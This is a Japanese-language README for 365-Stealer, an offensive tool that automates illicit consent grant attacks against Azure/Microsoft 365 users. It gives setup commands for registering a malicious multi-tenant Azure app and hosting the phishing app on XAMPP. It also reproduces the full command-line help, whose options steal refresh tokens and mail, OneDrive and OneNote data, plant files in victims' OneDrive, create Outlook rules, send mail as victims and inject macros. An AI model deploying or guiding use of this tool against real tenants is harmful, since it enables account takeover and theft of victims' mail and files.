
Azure/O365 テナントに対する不正な同意付与攻撃を自動化し、リフレッシュトークンを窃取、メール/OneDrive データを流出させ、CLI および Web 管理ポータルを介して悪意のある Outlook ルールを作成します。
365-Stealer は、不正な同意付与攻撃(Illicit Consent Grant Attack)を自動化するために設計されたPython3ベースのツールです。ターゲットユーザーが知らずに攻撃者のアプリケーションに権限を付与すると、攻撃者は被害者の更新トークン(refresh token)を取得します。この更新トークンは他のトークンを生成するために使用でき、被害者のメール、OneDrive上のファイル、メモなどの機密データにアクセスできます。手動でこの攻撃を実行するのは時間がかかりますが、365-Stealerはプロセスを簡素化し自動化します。
不正同意付与攻撃は、攻撃者がAzure内に悪意のあるアプリケーションを登録し、連絡先、メール、ドキュメントなどの機密データへのアクセスを要求する攻撃です。攻撃者はユーザーをだましてアプリに同意させ、通常は正当なアプリに見せかけます。被害者が「同意する」をクリックすると、知らないうちに攻撃者にアクセスを許可し、攻撃者は組織の資格情報を必要とせずに被害者に代わって行動できるようになります。
より明確に説明すると、ユーザーが権限を付与すると、Entra IDは攻撃者のサーバーにトークンを送信します。このトークンにより、攻撃者は被害者の資格情報を使用してメールの読み取り、メールの送信、OneDrive上のファイルへのアクセス、その他の悪意のあるアクティビティを実行できます。パスワードを盗むフィッシング攻撃とは異なり、不正同意付与攻撃は認証をまったくバイパスし、クラウドアプリケーションの権限システムを悪用します。
--run-appコマンドを使用して、端末から、または365-Stealer管理ポータルを介して、不正同意付与攻撃を実行するための偽のアプリケーションをホストできます。--no-stealingフラグを使用すると、トークンのみを窃取し、それ以上のアクションは行わず、後で悪用できます。--refresh-token、--client-id、--client-secretフラグを使用して、新しいアクセストークンを簡単に取得できます。--app-registrationフラグにより、Azureアプリ登録プロセスが自動化され、手動介入なしで攻撃インフラストラクチャのセットアップが容易になります。--custom-stealフラグを使用して、OneDrive、Outlookなどの特定のソースからデータを選択的に窃取できます。提供されたPythonスクリプトを使用してAzureにアプリケーションを自動登録するには、次の手順に従います。
マシンにPython3がインストールされていることを確認します。
365-Stealerリポジトリをクローンします:
git clone https://github.com/AlteredSecurity/365-Stealer.git
cd 365-Stealer
必要なPythonモジュールをインストールします:
pip install -r requirements.txt
自動Azureアプリ登録スクリプトを実行します:
python 365-Stealer.py --app-registration
Azureアプリケーションを手動で登録する場合は、次の手順に従います。
https://portal.azure.com にアクセスし、アカウントにサインインします。アプリの登録 をクリックします。新規登録 をクリックして、新しいアプリケーションの登録を開始します。任意の組織ディレクトリ内のアカウント (任意のMicrosoft Entra IDテナント - マルチテナント) を選択します。https://<ドメイン/IP>:<ポート>/login/authorized とし、ドメインまたはIPは365-Stealerアプリケーションをホストする場所に対応します。登録 をクリックしてアプリケーションを作成します。
証明書とシークレット セクションに移動します。新しいクライアントシークレット をクリックし、シークレットの説明を入力してから「追加」をクリックします。
APIのアクセス許可 タブをクリックします。アクセス許可の追加 をクリックして、必要な権限の選択を開始します。Microsoft Graph を選択します。委任されたアクセス許可 をクリックして、サインインしたユーザーに代わって動作する権限を割り当てます。
365-Stealerリポジトリをクローン:
git clone https://github.com/AlteredSecurity/365-Stealer.git
必要なアプリケーションをインストール:
ファイルを抽出して保存:
C:\xampp\htdocs\ にコピーして配置します。これによりPHPアプリケーションをホストし、Pythonを実行できます。Python依存関係をインストール: 次のコマンドを実行して、必要なPythonライブラリをインストールします。
cd C:\xampp\htdocs\365-Stealer
pip install -r requirements.txt
追加のセットアップ手順に従う: 必要なアプリケーションと依存関係をインストールした後、yoursVictims/Readme.md ファイルにある手順を必ず実行してください。このファイルでは、365-Stealerが正しく機能するために必要なデータベースとテーブルのセットアップ方法が説明されています。
スクリプトパスを調整:
C:/xampp/htdocs/yourvictims/ にあるindex.phpファイル内の 365-Stealer.py、データベース、python3のパスを変更します。
ファイルパス内のスペースの処理:
"C:/Program Files/Python/python.exe"
デフォルトのホワイトリスト:
リモートIPの追加:
IPホワイトリストの無効化:
$enableIpWhiteList = false; を設定します。
アクセス制限: セキュリティ上の理由から、365-Stealer管理ポータルへのアクセスは常に自分が管理するインフラストラクチャに制限してください。
公開露出を避ける: 365-Stealer管理ポータルをインターネットに直接公開しないでください。潜在的な侵害を避けるために、安全なプライベートネットワークからのみアクセスできるようにしてください。
usage: 365-Stealer.py [-h] [--app-registration] [--set-config] [--get-config] [--code CODE] [--token TOKEN] [--client-id CLIENT_ID]
[--client-secret CLIENT_SECRET] [--refresh-token REFRESH_TOKEN] [--token-path TOKEN_PATH]
[--refresh-all] [--refresh-user REFRESH_USER] [--redirect-url REDIRECT_URL]
[--database-path DATABASE_PATH] [--no-stealing] [--upload UPLOAD] [--create-rules CREATE_RULES]
[--send-mail SEND_MAIL] [--delete-all-data] [--delete-user-data DELETE_USER_DATA] [--run-app]
[--no-ssl] [--port PORT] [--disable-logs]
[--injection]
[--custom-steal {listusers,checklicence,outlook,onedrive,onenote} [{listusers,checklicence,outlook,onedrive,onenote} ...]]
[--delay DELAY]
optional arguments:
-h, --help show this help message and exit
--app-registration Azure App Registration
--set-config Set 365-Stealer Configuration
--get-config Get 365-Stealer Configuration
--code CODE Provide Authorization Code
--token TOKEN Provide Access Token
--client-id CLIENT_ID
Provide Application Client ID
--client-secret CLIENT_SECRET
Provide Application Client Secret
--refresh-token REFRESH_TOKEN
Provide Refresh Token
--token-path TOKEN_PATH
Provide Access Token file path
--refresh-all Steal all user's data again.
--refresh-user REFRESH_USER
Steal particular user's data again.(Provide EmailID)
--redirect-url REDIRECT_URL
Redirect Url
--database-path DATABASE_PATH
Provide Database Path
--no-stealing Steal only Tokens
--upload UPLOAD Add files in victim's OneDrive(Provide File Path)
--create-rules CREATE_RULES
Provide json file containing outlook rules
--send-mail SEND_MAIL
Provide json file to send email
--delete-all-data Delete all data from the database!
--delete-user-data DELETE_USER_DATA
Delete specific user data from the database!
--run-app Host the Phising App
--no-ssl Use http(port 80)
--port PORT Provide custom port to Host the Phishing App
--disable-logs Disable all http access logs
--custom-steal {listusers,checklicence,outlook,onedrive,onenote} [{listusers,checklicence,outlook,onedrive,onenote} ...]
Steal specific data
--injection Enable Macro Injection
--delay DELAY Delay the request by specifying time in seconds while stealing
新しいバージョンの365-Stealer(旧バージョンを一から書き直したもの)に関するブログ記事です。この記事では、Microsoft 365における不正同意付与(ICG)攻撃の仕組みについて説明しています。
以前のブログ記事 - 365-Stealerの紹介
バグを発見した場合や機能リクエストがある場合は、Issueを作成してください。
プロジェクトに貢献して改善したい場合は、ぜひご協力ください。